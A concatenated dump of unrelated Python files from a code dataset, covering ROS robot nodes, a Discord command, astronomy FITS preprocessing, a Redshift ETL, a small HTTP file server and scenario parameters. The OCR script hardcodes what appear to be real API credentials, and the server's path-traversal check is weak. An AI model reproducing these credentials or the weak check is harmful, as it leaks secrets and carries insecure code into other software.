utf-8\nfrom aip import AipOcr\nimport rospy\nfrom std_msgs.msg import Int32\nfrom std_msgs.msg import String\n\ndef get_file_content (filePath):\n with open(filePath, 'rb') as fp: \n return fp.read()\n\ndef img_ocr(): \n APP_ID = '9417238'\n API_KEY = 'aiG3LGstm9AlTQnwGMxBfcA7'\n SECRET_KEY = '3GS8g9gB8afFHa7YhzfZogkcfdDz3n38'\n aipOcr = AipOcr(APP_ID, API_KEY, SECRET_KEY)\n try:\n result = aipOcr.general(get_file_content(\"res/img.jpg\"))\n steps = int(result['words_result'][0]['words'])\n return steps\n except:\n return 0\n\ndef publisher_():\n pub = rospy.Publisher('ocrDis_cmd', Int32, queue_size=10)\n rospy.init_node('ocrDis', anonymous=True)\n rate = rospy.Rate(10) # 10hz\n while not rospy.is_shutdown():\n steps = img_ocr()\n rospy.loginfo(steps)\n pub.publish(steps)\n rate.sleep()\n\n\nif __name__ == '__main__':\n try:\n publisher_()\n except rospy.ROSInterruptException:\n pass\n","sub_path":"src/base_moving/mv_base_v01/src/orcDis.py","file_name":"orcDis.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"496435458","text":"#!/usr/bin/env python\nimport rospy\nfrom evdev import InputDevice, categorize, ecodes\nfrom std_msgs.msg import String\nimport numpy as np\nfrom geometry_msgs.msg import Twist\n\nWHEEL_SPEED = 10\nSPEED_RATE = 10\nMAX_GAMEPAD = 2 ** 15 * 1.\n\nANGLE_SPEED = .7\nLINEAR_SPEED = 0.3\n\n# all the codes associated with the gamepad Logitech F710 Wireless\n# BUTTONS\naBtn = 304\nbBtn = 305\nxBtn = 307\nyBtn = 308\n\nlbBtn = 310\nrbBtn = 311\nbackBtn = 314\nstartBtn = 315\n\nlThumb = 317\nrThumb = 318\n\n# ANALOG BUTTONS AND STICKS\narrX = 16\narrY = 17\n\nabsX = 0\nabsRX = 3\nabsY = 1\nabsRY = 4\n\n# LT and RT analog buttons\nabsZ = 2\nabsRZ = 5\n\n\n# noinspection PyTypeChecker,PyUnusedLocal\nclass GamepadNode(object):\n def __init__(self):\n # ROS\n rospy.init_node('gamepad_node', anonymous=True)\n self.pub_speed = rospy.Publisher(\"cmd_vel\", Twist, queue_size=1)\n self.pub_stm_node_cmd = rospy.Publisher(\"stm_node_command\", String, queue_size=10)\n self.pub_stm_cmd = rospy.Publisher(\"stm_command\", String, queue_size=10)\n\n # Gamepad\n self.gamepad = InputDevice('/dev/input/by-id/usb-Logitech_Wireless_Gamepad_F710_CE5F9B75-event-joystick')\n self.speed = np.array([0, 0])\n self.is_control = False\n\n # Speed publisher timer callback\n rospy.Timer(rospy.Duration(1. / SPEED_RATE), self.pub_speeds_timer_callback)\n\n self.isRB = False\n self.isLB = False\n # Additional commands\n if rospy.has_param('gamepad_node/topicLB'):\n rospy.loginfo('LLLL')\n self.isLB = True\n self.pubLB = rospy.Publisher(rospy.get_param('gamepad_node/topicLB'), String, queue_size=10)\n self.cmdLB = rospy.get_param('gamepad_node/cmdLB')\n\n if rospy.has_param('gamepad_node/topicRB'):\n rospy.loginfo('RRRER')\n self.isRB = True\n self.pubRB = rospy.Publisher(rospy.get_param('gamepad_node/topicRB'), String, queue_size=10)\n self.cmdRB = rospy.get_param('gamepad_node/cmdRB')\n\n # Wire length\n self.wire_length = 0\n\n def publish_speed(self, speed):\n tw = Twist()\n tw.linear.x = speed[0]\n tw.angular.z = speed[1]\n self.pub_speed.publish(tw)\n\n def pub_speeds_timer_callback(self, event):\n if self.is_control:\n self.publish_speed(self.speed)\n\n def gamepad_loop(self):\n speed_v = 0\n speed_w = 0\n for event in self.gamepad.read_loop():\n if rospy.is_shutdown():\n return\n # buttons\n if event.type == ecodes.EV_KEY:\n # print(event)\n if event.value == 1:\n if event.code == xBtn:\n self.is_control = True\n print(\"X\")\n elif event.code == bBtn:\n print(\"B\")\n self.pub_stm_node_cmd.publish(\"stop_send_speeds send_speeds false\")\n elif event.code == aBtn:\n print(\"A\")\n self.pub_stm_node_cmd.publish(\"start_send_speeds send_speeds true\")\n elif event.code == yBtn:\n print(\"Y\")\n self.is_control = False\n elif event.code == lbBtn:\n if self.isLB:\n rospy.loginfo(self.cmdLB)\n self.pubLB.publish(self.cmdLB)\n print(\"LB\")\n elif event.code == rbBtn:\n if self.isRB:\n rospy.loginfo(self.cmdRB)\n self.pubRB.publish(self.cmdRB)\n print(\"RB\")\n elif event.code == startBtn:\n print(\"Start\")\n elif event.code == backBtn:\n print(\"Back\")\n elif event.code == lThumb:\n self.wire_length += 0.1\n rospy.loginfo(\"Set wire length %f\" % self.wire_length)\n self.pub_stm_cmd.publish(\"REAL_SET 9 %f\" % self.wire_length)\n print(\"LeftThumb\")\n elif event.code == rThumb:\n rospy.loginfo(\"Set wire length %f\" % self.wire_length)\n self.wire_length -= 0.1\n self.pub_stm_cmd.publish(\"REAL_SET 9 %f\" % self.wire_length)\n print(\"RightThumb\")\n elif event.value == 0:\n if event.code == xBtn:\n print(\"ReleaseX\")\n elif event.code == bBtn:\n self.publish_speed(np.array([0, 0]))\n print(\"ReleaseB\")\n elif event.code == aBtn:\n self.publish_speed(np.array([0, 0]))\n print(\"ReleaseA\")\n elif event.code == yBtn:\n print(\"ReleaseY\")\n elif event.code == lbBtn:\n print(\"ReleaseLB\")\n elif event.code == rbBtn:\n print(\"ReleaseRB\")\n elif event.code == startBtn:\n print(\"ReleaseStart\")\n elif event.code == backBtn:\n print(\"ReleaseBack\")\n elif event.code == lThumb:\n print(\"ReleaseLeftThumb\")\n elif event.code == rThumb:\n print(\"ReleaseRightThumb\")\n\n # Analog gamepad\n elif event.type == ecodes.EV_ABS:\n absevent = categorize(event)\n # print ecodes.bytype[absevent.event.type][absevent.event.code], absevent.event.value\n if ecodes.bytype[absevent.event.type][absevent.event.code] == \"ABS_HAT0X\":\n if absevent.event.value == -1:\n self.speed = np.array([0, ANGLE_SPEED])\n print(\"Left\")\n elif absevent.event.value == 1:\n self.speed = np.array([0, -ANGLE_SPEED])\n print(\"Right\")\n elif absevent.event.value == 0:\n self.speed = np.array([0, 0])\n print(\"Center\")\n elif ecodes.bytype[absevent.event.type][absevent.event.code] == \"ABS_HAT0Y\":\n if absevent.event.value == -1:\n self.speed = np.array([LINEAR_SPEED, 0])\n print(\"Up\")\n elif absevent.event.value == 1:\n self.speed = np.array([-LINEAR_SPEED, 0])\n print(\"Down\")\n elif absevent.event.value == 0:\n self.speed = np.array([0, 0])\n print(\"Center\")\n elif ecodes.bytype[absevent.event.type][absevent.event.code] == \"ABS_Z\":\n pass\n # print(\"ABS_Z = %i\" % absevent.event.value)\n elif ecodes.bytype[absevent.event.type][absevent.event.code] == \"ABS_RZ\":\n pass\n # print(\"ABS_RZ = %i\" % absevent.event.value)\n elif ecodes.bytype[absevent.event.type][absevent.event.code] == \"ABS_X\":\n speed_w = -absevent.event.value / MAX_GAMEPAD * ANGLE_SPEED\n self.speed = np.array([speed_v, speed_w])\n print(\"ABS_X = %i\" % absevent.event.value)\n elif ecodes.bytype[absevent.event.type][absevent.event.code] == \"ABS_RX\":\n pass\n # print(\"ABS_RX = %i\" % absevent.event.value)\n elif ecodes.bytype[absevent.event.type][absevent.event.code] == \"ABS_Y\":\n speed_v = absevent.event.value / MAX_GAMEPAD * LINEAR_SPEED\n self.speed = np.array([speed_v, speed_w])\n print(\"ABS_Y = %i\" % absevent.event.value)\n elif ecodes.bytype[absevent.event.type][absevent.event.code] == \"ABS_RY\":\n pass\n # print(\"ABS_RY = %i\" % absevent.event.value)\n\n\nif __name__ == '__main__':\n try:\n gamepad_node = GamepadNode()\n gamepad_node.gamepad_loop()\n except rospy.ROSInterruptException:\n pass\n","sub_path":"ump_core/scripts/gamepad_node.py","file_name":"gamepad_node.py","file_ext":"py","file_size_in_byte":8337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"367698979","text":"#!/usr/bin/python3\n#James Parks\n#02/07/18\n\nimport os\nimport json\n\nimport bot.servos as servos\nimport bot.motors as motors\nimport bot.lights as lights\nimport bot.sensors as sensors\n\n\nclass Bot(object):\n def __init__(self, config_path):\n self.config_dict = {}\n self.read_config(config_path)\n return\n\n def read_config(self, config_path=None):\n if os.path.exists(config_path):\n with open(config_path, 'r') as fp: \n self.config_dict = json.load(fp)\n else:\n self.config_dict = {}\n\n self.servos = {}\n self.motors = {}\n self.lights = {}\n self.sensors = {}\n\n for item in self.config_dict:\n if 'pin' in item.lower():\n name = item.strip('_pin')\n if 'servo' in item.lower():\n self.servos[name] = servos.Servo(self.config_dict[item])\n if 'motor' in item.lower():\n self.motors[name] = motors.Motor(self.config_dict[item])\n if 'light' in item.lower():\n self.lights[name] = lights.Light(self.config_dict[item])\n if 'sensor' in item.lower():\n self.sensors[name] = sensors.Sensor(self.config_dict[item])\n\n return\n\n def inventory(self):\n print('Servos:')\n for item in self.servos:\n print('\\t{}'.format(item))\n print('Motors:')\n for item in self.motors:\n print('\\t{}'.format(item))\n print('Lights:')\n for item in self.lights:\n print('\\t{}'.format(item))\n print('Sensors:')\n for item in self.sensors:\n print('\\t{}'.format(item))\n\n","sub_path":"bot/bot/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"631052813","text":"import discord\nasync def do(message:discord.Message):\n from uni_network import log, uni_class\n server = uni_class.server.get_server(message.guild)\n lang = uni_class.yml.lang[server.lang][\"Utility\"][\"Commend\"][\"help\"]\n embed = discord.Embed(description=lang[\"description\"], color=0XFF0000)\n embed.set_author(name=lang[\"title\"], icon_url=uni_class.bot.user.avatar_url)\n for field in lang[\"fields\"]:\n embed.add_field(name=field[\"title\"], value=field[\"value\"], inline=False)\n embed.set_footer(text=lang[\"footer\"])\n await message.channel.send(embed=embed)\n await log.INFO_message(\"commend\", message, \"도움말을 요청했습니다.\")\n return","sub_path":"uni_network/Utility/Commend/help.py","file_name":"help.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"134382425","text":"__all__ = [\"connection\"]\n\nimport pathlib\nimport appdirs\nimport sqlite3\n\n\npath = pathlib.Path(appdirs.user_data_dir(\"bluesky_autonomic\", \"bluesky_autonomic\")) / \"state.db\"\n\npath.parent.mkdir(parents=True, exist_ok=True)\n\nconnection = sqlite3.connect(path)\ncur = connection.cursor()\ncur.execute(\"CREATE TABLE IF NOT EXISTS enable (opa VARCHAR NOT NULL, delay VARCHAR NOT NULL, enable INTEGER DEFAULT 0, PRIMARY KEY(opa, delay))\")\ncur.execute(\"CREATE TABLE IF NOT EXISTS delay (delay VARCHAR NOT NULL PRIMARY KEY, zero_position REAL NOT NULL)\")\nconnection.close()\n\ndef get_connection():\n return sqlite3.connect(path)\n","sub_path":"bluesky_autonomic/_db.py","file_name":"_db.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"450627306","text":"\"\"\"\nPre-process VAMPIRES data:\nExtracts interleaved polarisation states, discards leading frames, fixes filenames and\nsaves to new FITS files.\n\nThe output files will be of format outFilePref_[serial number]_[camera]_[FLC].fits\n[camera] is labelled as '1' or '2' and\n[FLC] is labelled as 'A' or 'B'.\n\"\"\"\n\n# Lists of multiple filePrefs and nSubFiles may be used, and sets will be concatenated.\n# NB separate subfiles for each state, not original filenums.\n\n#dataPath = '/Users/bnorris/DontBackup/preprocTestdata/'\n#filePrefs = ['RYTau_01_20180106_750-50_EmptySlot_0',\n# 'RYTau_01__RESTARTED___20180106_750-50_EmptySlot_0']\n#nSubFilesAll = [4,4]\n#outputPath = '/Users/bnorris/DontBackup/preprocTestdataOut/'\n#outFilePref = 'RYTau_01_20180106_750_Fullpupil_'\n\n# dataPath = '/import/pendragon1/snert/VAMPIRES/VAMPIRESData_201801/20180106/'\n# dataPath = '/Volumes/PENDRAGON1/snert/VAMPIRES/VAMPIRESData_201801/20180106/'\n# filePrefs = ['HD283691_02_20180106_750-50_EmptySlot_0']\n# nSubFilesAll = [16]\n# outputPath = '/import/pendragon1/snert/VAMPIRES/VAMPIRESData_201801/compileData_Takayuki/HD283691_02/'\n# outputPath = '/Volumes/PENDRAGON1/snert/VAMPIRES/VAMPIRESData_201801/compileData_Takayuki/HD283691_02/'\n# outFilePref = 'HD283691_02_20180106_750_Fullpupil_'\n\n\ndef preprocVampiresFunc(dataPath, filePrefs, nSubFilesAll, outputPath, outFilePref):\n\n fileExtn = '.fits'\n startFileNum = 0\n\n # A list of keywords (for two extns) whose FITS header entries will be copied to the output file.\n copyKeywords0 = ['HIERARCH acqinttime', 'ACQNCYCS', 'HIERARCH acqflcoffset', 'HIERARCH acqstartdelay',\n 'HIERARCH acqstartdate', 'HIERARCH acqstarttime', 'HIERARCH acqdeltatime',\n 'HWP', 'DATE']\n copyKeywords1 = ['UTSTTIME', 'UTNDTIME', 'LOCTIME', 'LOOPN', 'TOTPOS', 'POSN', 'RA', 'DEC',\n 'EMGAIN', 'QWP1', 'QWP2', 'FILTER', 'MASK', 'MANGLE', 'AO188HWP', 'A0HWPVAL', 'PAP',\n 'PAD', 'IMRA', 'AIRMASS']\n\n ##############################################################################################\n import numpy as np\n from scipy import ndimage\n from scipy import io\n from astropy.io import fits\n from copy import copy\n import time\n\n # Read a FITS file to get sizes\n curFilenumStr = '%d' % startFileNum\n curCamStr = '_cam1'\n curFilename = dataPath + filePrefs[0] + curFilenumStr + curCamStr + fileExtn\n hdulist = fits.open(curFilename)\n curHDU = hdulist[0]\n curCube = np.transpose(curHDU.data)\n nFrms = curCube.shape[2]\n dim = curCube.shape[0]\n\n # Indexes are [:, :, hwpSet, HWP, Channel (camera), FLCstate]\n # So each set of 4 VAMPIRES on-sky files corresponds to 1 hwpSet.\n curOutFnum = 0\n for fSet in range(len(filePrefs)):\n filePref = filePrefs[fSet]\n nSubFiles = nSubFilesAll[fSet]\n\n for f in range(0, nSubFiles):\n curFileNum = f\n\n for c in range(0, 2):\n curChan = c\n\n # Generate current filename\n if curChan == 0:\n curCamStr = '_cam1'\n curCamStrOut = '_1'\n else:\n curCamStr = '_cam2'\n curCamStrOut = '_2'\n\n curFilenumStr = '%d' % curFileNum\n curFilename = dataPath + filePref + curFilenumStr + curCamStr + fileExtn\n\n print('Reading file %s' % curFilename)\n hdulist = fits.open(curFilename)\n curHDU = hdulist[0]\n curSuperCube = np.transpose(curHDU.data) # 'Super' since both FLC states\n\n # TODO - Get both headers (from both extns) and add to output file\n # TODO - also include original filename\n # # Get PA from header (use PAD, and assume instrument offset added later)\n # pa = hdulist[1].header['PAD']\n # allRawPAs.append(pa)\n\n # Now sort frames into the 2 FLC states and discard 1st 2 frames\n nSubFrms = nFrms // 2 - 1\n curCube_FLC1 = np.zeros((dim, dim, nSubFrms), dtype='uint16')\n curCube_FLC2 = np.zeros((dim, dim, nSubFrms), dtype='uint16')\n curFLC = 1\n count = 0\n for k in range(2, nFrms):\n if curFLC == 1:\n curCube_FLC1[:, :, count] = curSuperCube[:, :, k]\n else:\n curCube_FLC2[:, :, count] = curSuperCube[:, :, k]\n count = count + 1\n\n if curFLC == 1:\n curFLC = 2\n else:\n curFLC = 1\n\n # Save output files\n for l in range(0, 2):\n if l == 0:\n curCube = curCube_FLC1\n curFLCStr = '_A'\n else:\n curCube = curCube_FLC2\n curFLCStr = '_B'\n\n curOutFilenumStr = '%03d' % curOutFnum\n curOutFilename = outputPath + outFilePref + curOutFilenumStr + curCamStrOut \\\n + curFLCStr + fileExtn\n print('Writing file ' + curOutFilename)\n #fits.writeto(curOutFilename, np.transpose(curCube))\n data = np.transpose(curCube)\n outHDU = fits.PrimaryHDU(data)\n inHdr0 = hdulist[0].header\n inHdr1 = hdulist[1].header\n for keyword in copyKeywords0:\n outHDU.header.append(inHdr0.cards[keyword])\n for keyword in copyKeywords1:\n outHDU.header.append(inHdr1.cards[keyword])\n outHDU.writeto(curOutFilename)\n\n\n\n curOutFnum = curOutFnum + 1\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"preprocVampiresFunc.py","file_name":"preprocVampiresFunc.py","file_ext":"py","file_size_in_byte":5892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"552616372","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n\"\"\"\n\nbabylondreams - bd_command_blend_hierarchy\n\nRelease Notes:\n\n The command creates an easily animatable setup to dissolve/fade a hierarchy of items. By selecting the\n parent item and running the command a few things happen:\n\n 1. A group with the whole item hierarchy gets created\n 2. A shader setup gets created and put at the top of the shader tree\n 3. The shader setup gets linked to the group\n\nV0.1 Initial Release - 2017-02-20\n\n\"\"\"\n\nimport babylondreams\nimport lx\n\nfrom bd_tools import bd_blend_hierarchy\n\n\n__author__ = \"Alexander Kucera\"\n__copyright__ = \"Copyright 2017, BabylonDreams - Alexander & Monika Kucera GbR\"\n__credits__ = [\"Alexander Kucera\"]\n__license__ = \"GPL\"\n__version__ = \"1.0.0\"\n__maintainer__ = \"Alexander Kucera\"\n__email__ = \"a.kucera@babylondreams.de\"\n__status__ = \"Development\"\n\n\nclass CommandClass(babylondreams.CommanderClass):\n _commander_last_used = []\n\n def commander_execute(self, msg, flags):\n\n reload(bd_blend_hierarchy)\n\n bd_blend_hierarchy.main()\n\n\nlx.bless(CommandClass, 'bd.blend_hierarchy')\n","sub_path":"lxserv/bd_blend_hierarchy_command.py","file_name":"bd_blend_hierarchy_command.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"392165022","text":"import configparser\nimport time\nimport psycopg2\nfrom sql_queries import copy_table_queries, insert_table_queries\n\n\ndef load_staging_tables(cur, conn):\n \"\"\" Copys S3 data into staging tables on redshift.\n\n INPUT:\n cur : cursor object from psycopg2 connection to sparkifydb\n filepath : String containing filepath to file for processing\n\n OUTPUT:\n Copies data from S3 bucket into staging tables on redshift using queries\n from copy_table_queries in sql_queries.py\n \"\"\"\n for query in copy_table_queries:\n print(query)\n cur.execute(query)\n conn.commit()\n\n\ndef insert_tables(cur, conn):\n \"\"\" Inserts data from Staging tables into analytic tables\n\n INPUT:\n cur : cursor object from psycopg2 connection to sparkifydb\n filepath : String containing filepath to file for processing\n\n OUTPUT:\n Copies data from staging tables into analytic tables on redshift using queries\n from insert_table_queries in sql_queries.py\n \"\"\"\n for query in insert_table_queries:\n print(query)\n cur.execute(query)\n conn.commit()\n\ndef main():\n \"\"\"Establishes connection to redshift database using psycopg2 then calls \n functions to load staging tables from S3, then copy staged data into \n analytic tables.\n \"\"\"\n config = configparser.ConfigParser()\n config.read('dwh.cfg')\n\n conn = psycopg2.connect(\"host={} dbname={} user={} password={} port={}\".format(*config['CLUSTER'].values()))\n cur = conn.cursor()\n \n load_staging_tables(cur, conn)\n insert_tables(cur, conn)\n\n conn.close()\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"etl.py","file_name":"etl.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"364556710","text":"# coding: utf-8 \nimport socketserver\nfrom os import path\n\n# Copyright 2013 Abram Hindle, Eddie Antonio Santos\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n#\n# Furthermore it is derived from the Python documentation examples thus\n# some of the code is Copyright © 2001-2013 Python Software\n# Foundation; All Rights Reserved\n#\n# http://docs.python.org/2/library/socketserver.html\n#\n# run: python freetests.py\n\n# try: curl -v -X GET http://127.0.0.1:8080/\n\nresponseCodeInfo = {\n 200: \"OK\",\n 301: \"Moved Permanently\",\n 404: \"Not Found\",\n 405: \"Method Not Allowed\",\n 500: \"INTERNAL SERVER ERROR\"\n}\n\nclass MyWebServer(socketserver.BaseRequestHandler):\n def do404(self):\n return self.doResponse(\"

    Error 404: Page Not Found

    \", status=404)\n\n def doResponse(self, content, status=200, headers={}):\n # protect from explosions\n if status not in responseCodeInfo:\n content = \"Error: Attempted to use a status code not in the response dictionary ({STATUS}).\".format(STATUS=status)\n status = 500\n\n responseTemplate = \"\"\n responseTemplate += \"HTTP/1.1 {STATUS} {STATUS_DESC}\\r\\n\".format(\n STATUS=status,\n STATUS_DESC=responseCodeInfo[status]\n )\n responseTemplate += \"Connection: close\\r\\n\"\n # add headers\n for key in headers:\n if len(key) and len(headers[key]):\n responseTemplate += \"{KEY}: {VALUE}\\r\\n\".format(\n KEY=key,\n VALUE=headers[key]\n )\n responseTemplate += \"\\r\\n\"\n responseTemplate += \"{CONTENT}\".format(\n CONTENT=content\n )\n\n self.request.sendall(bytearray(responseTemplate, \"utf-8\"))\n \n def handle(self):\n self.data = self.request.recv(1024).strip()\n decoded_string = self.data.decode()\n split_string = decoded_string.split()\n # print(\"RECEIVED:\\n***\")\n # print(decoded_string)\n # print(\"***\")\n method = split_string[0]\n dest = split_string[1]\n\n if (method != \"GET\"):\n return self.doResponse(\"Error: You may only use GET with this webserver.\", status=405)\n #print(\"TO ACCESS WITH\", method, \"\\b:\", dest)\n dest = \"./www\" + dest\n\n # Check if we are going to a file\n if not path.isfile(dest):\n # if not a file, check if it's a directory\n if not path.isdir(dest):\n return self.do404() # not either, send 404\n else:\n # attempt to find an index file in the directory\n fixDest = dest\n if fixDest[-1] != \"/\":\n fixDest += \"/\"\n fixDest = fixDest + \"index.html\"\n if not path.isfile(fixDest):\n # no index file in the directory, 404\n return self.do404()\n else:\n # There is an index file in the directory\n if dest[-1] != \"/\":\n # There was no /, inform with 301\n headers = {\n \"Location\": dest[5:] + \"/\"\n }\n return self.doResponse(\"\", status=301, headers=headers)\n else:\n dest = fixDest\n\n # Check that we're inside www/ in some way using abspath\n # hopefully you don't have a www folder in a lower level...\n if \"www/\" not in path.abspath(dest):\n return self.do404()\n \n f = open(dest, \"r\")\n fileData = f.read()\n f.close()\n contentType = \"text/\" + dest.split(\".\")[-1]\n headers = {\"Content-Type\": contentType}\n self.doResponse(fileData, headers=headers)\n\nif __name__ == \"__main__\":\n HOST, PORT = \"localhost\", 8080\n\n socketserver.TCPServer.allow_reuse_address = True\n # Create the server, binding to localhost on port 8080\n server = socketserver.TCPServer((HOST, PORT), MyWebServer)\n\n # Activate the server; this will keep running until you\n # interrupt the program with Ctrl-C\n server.serve_forever()\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"457947123","text":"# Disable pylint rule which doesnt like getting the dictionary of parameters from one function then\n# passing them as kwargs to another.\n# pylint: disable=E1123\n\nfrom typing import Optional, Dict, Callable\nfrom collections import namedtuple\n\nimport numpy as np\n\nfrom snc.environments import examples\nfrom snc.environments import examples_distribution_with_rebalancing as examples_dwr\n\n\nScenario = namedtuple('Scenario', ['scenario_name', 'env'])\n\n\nSCENARIO_CONSTRUCTORS: Dict[str, Callable] = {\n 'complex_demand_driven_model': examples.complex_demand_driven_model,\n 'complex_demand_driven_model_hot_lots': examples.complex_demand_driven_model,\n 'converging_push_model': examples.converging_push_model,\n 'dai_wang_model': examples.dai_wang_model,\n 'demand_node': examples.demand_node,\n 'double_demand_node': examples.double_demand_node,\n 'double_reentrant_line_model': examples.double_reentrant_line_model,\n 'double_reentrant_line_shared_res_homogeneous_cost':\n examples.double_reentrant_line_only_shared_resources_model,\n 'double_reentrant_line_shared_res_different_cost':\n examples.double_reentrant_line_only_shared_resources_model,\n 'double_reentrant_line_with_demand_model':\n examples.double_reentrant_line_with_demand_model,\n 'double_reentrant_line_with_demand_only_shared_resources_model':\n examples.double_reentrant_line_with_demand_only_shared_resources_model,\n 'input_queued_switch_3x3_model': examples.input_queued_switch_3x3_model,\n 'klimov_model': examples.klimov_model,\n 'ksrs_network_model': examples.ksrs_network_model,\n 'multiple_demand_model': examples.multiple_demand_model,\n 'one_warehouse': examples_dwr.one_warehouse,\n 'push_pull': examples_dwr.push_and_pull_model_example,\n 'push_pull_minimal': examples_dwr.push_and_pull_model_minimal_example,\n 'simple_link_constrained_model': examples.simple_link_constrained_model,\n 'simple_link_constrained_with_route_scheduling_model':\n examples.simple_link_constrained_with_route_scheduling_model,\n 'simple_reentrant_line': examples.simple_reentrant_line_model,\n 'extended_reentrant_line_model': examples.extended_reentrant_line_model,\n 'decoupled_simple_reentrant_line_models': examples.decoupled_simple_reentrant_line_models,\n 'single_reentrant_resource': examples.single_reentrant_resource,\n 'simple_reentrant_line_model_variance': examples.simple_reentrant_line_model_variance,\n 'simple_reentrant_line_homogeneous_cost': examples.simple_reentrant_line_model,\n 'simple_routing_model': examples.simple_routing_model,\n 'single_server_queue': examples.single_server_queue,\n 'single_station_demand_model': examples.single_station_demand_model,\n 'tandem_demand_model': examples.tandem_demand_model,\n 'three_warehouses_simplified': examples_dwr.three_warehouses_simplified,\n 'two_warehouses_simplified': examples_dwr.two_warehouses_simplified,\n 'two_warehouses': examples_dwr.two_warehouses_simplified,\n 'willems_example_2': examples.willems_example_2\n}\n\n\ndef get_scenario_default_params(name: str, job_gen_seed: Optional[int] = None) -> Dict:\n \"\"\"\n A scenario is an example environment with a specific configuration of hyperparameters.\n This function returns the default hyperparameters based on a name.\n\n NB: THE SCENARIOS ARE ORDERED ALPHABETICALLY, AND MUST BE IN GLOBAL LIST\n\n :param name: Scenario name.\n :param job_gen_seed: Seed with which to initialise the environment.\n :return: Dictionary of default argument values for a given environment set up.\n \"\"\"\n assert name in SCENARIO_CONSTRUCTORS\n if name == 'complex_demand_driven_model':\n return dict(d1=19 / 75, d2=19 / 75, mu1=13 / 15, mu2=26 / 15, mu3=13 / 15, mu4=26 / 15,\n mu5=1., mu6=2., mu7=1., mu8=2., mu9=1., mu10a=1 / 3, mu10b=1 / 3, mu11=1 / 2,\n mu12=1 / 10, mud1=100., mus1=100., mud2=100., mus2=100.,\n cost_per_buffer=np.vstack(\n (np.ones((12, 1)), np.array([5, 5, 10, 10])[:, None])),\n initial_state=np.ones((16, 1)) * 1000., capacity=np.ones((16, 1)) * np.inf,\n job_conservation_flag=True, job_gen_seed=job_gen_seed)\n\n elif name == 'complex_demand_driven_model_hot_lots':\n return dict(d1=19 / 75, d2=19 / 75, mu1=13 / 15, mu2=26 / 15, mu3=13 / 15, mu4=26 / 15,\n mu5=1, mu6=2, mu7=1, mu8=2, mu9=1, mu10a=1 / 3, mu10b=1 / 3, mu11=1 / 2,\n mu12=1 / 10, mud1=100., mus1=100., mud2=0., mus2=100.,\n cost_per_buffer=np.vstack(\n (np.ones((12, 1)), np.array([5, 5, 10, 10000])[:, None])),\n initial_state=np.array(\n [0, 5, 8, 0, 0, 4, 6, 6, 0, 7, 2, 2, 0, 0, 15, 20])[:, None],\n capacity=np.ones((16, 1)) * np.inf, job_conservation_flag=True,\n job_gen_seed=job_gen_seed)\n\n elif name == 'converging_push_model':\n return dict(alpha=1., mu1=1.02, mu2=1.02, mu3=2.08,\n cost_per_buffer=np.array([1, 1.5, 2])[:, None],\n initial_state=np.array([0, 0, 200])[:, None],\n capacity=np.ones((3, 1)) * np.inf, job_conservation_flag=True,\n job_gen_seed=job_gen_seed)\n\n elif name == 'dai_wang_model':\n return dict(alpha1=0.2, mu1=0.66, mu2=0.66, mu3=0.42, mu4=0.42, mu5=0.66,\n demand_variance=0.2,\n cost_per_buffer=np.array([[1], [2], [2], [2], [2]]),\n initial_state=50 * np.ones((5, 1)),\n capacity=np.ones((5, 1)) * np.inf,\n job_conservation_flag=False,\n job_gen_seed=job_gen_seed)\n\n elif name == 'demand_node':\n return dict(alpha=0.33, mus=0.34, mud=0.9999,\n cost_per_buffer=np.array([[1],[10]]),\n initial_state=np.array([[10],[0]]),\n capacity=np.ones((2, 1)) * np.inf,\n job_conservation_flag=True,\n job_gen_seed=job_gen_seed)\n\n elif name == 'double_demand_node':\n return dict(alpha1=0.33, alpha2=0.33, mus1=0.68, mus2=0.68, mud1=0.9999, mud2=0.9999,\n cost_per_buffer=np.array([[1],[2],[10],[20]]),\n initial_state=np.array([[0],[200],[0],[0]]),\n capacity=np.ones((4, 1)) * np.inf,\n job_conservation_flag=True,\n job_gen_seed=job_gen_seed)\n\n elif name == 'double_reentrant_line_model':\n return dict(alpha=1., mu1=4., mu2=3., mu3=2., mu4=3., mu5=4.,\n cost_per_buffer=np.array([1, 1, 1, 1, 1])[:, None],\n initial_state=np.array([1, 1, 1, 1, 1])[:, None],\n capacity=np.ones((5, 1)) * np.inf, job_conservation_flag=True,\n job_gen_seed=job_gen_seed)\n\n elif name == 'double_reentrant_line_shared_res_homogeneous_cost':\n return dict(alpha=0.33, mu1=0.68, mu2=0.68, mu3=0.68, mu4=0.68,\n cost_per_buffer=np.ones((4, 1)),\n initial_state=np.array([1000, 10, 60, 10])[:, None],\n capacity=np.ones((4, 1)) * np.inf, job_conservation_flag=True,\n job_gen_seed=job_gen_seed)\n\n elif name == 'double_reentrant_line_shared_res_different_cost':\n return dict(alpha=1., mu1=4., mu2=1.5, mu3=4., mu4=1.5,\n cost_per_buffer=np.array([1, 10, 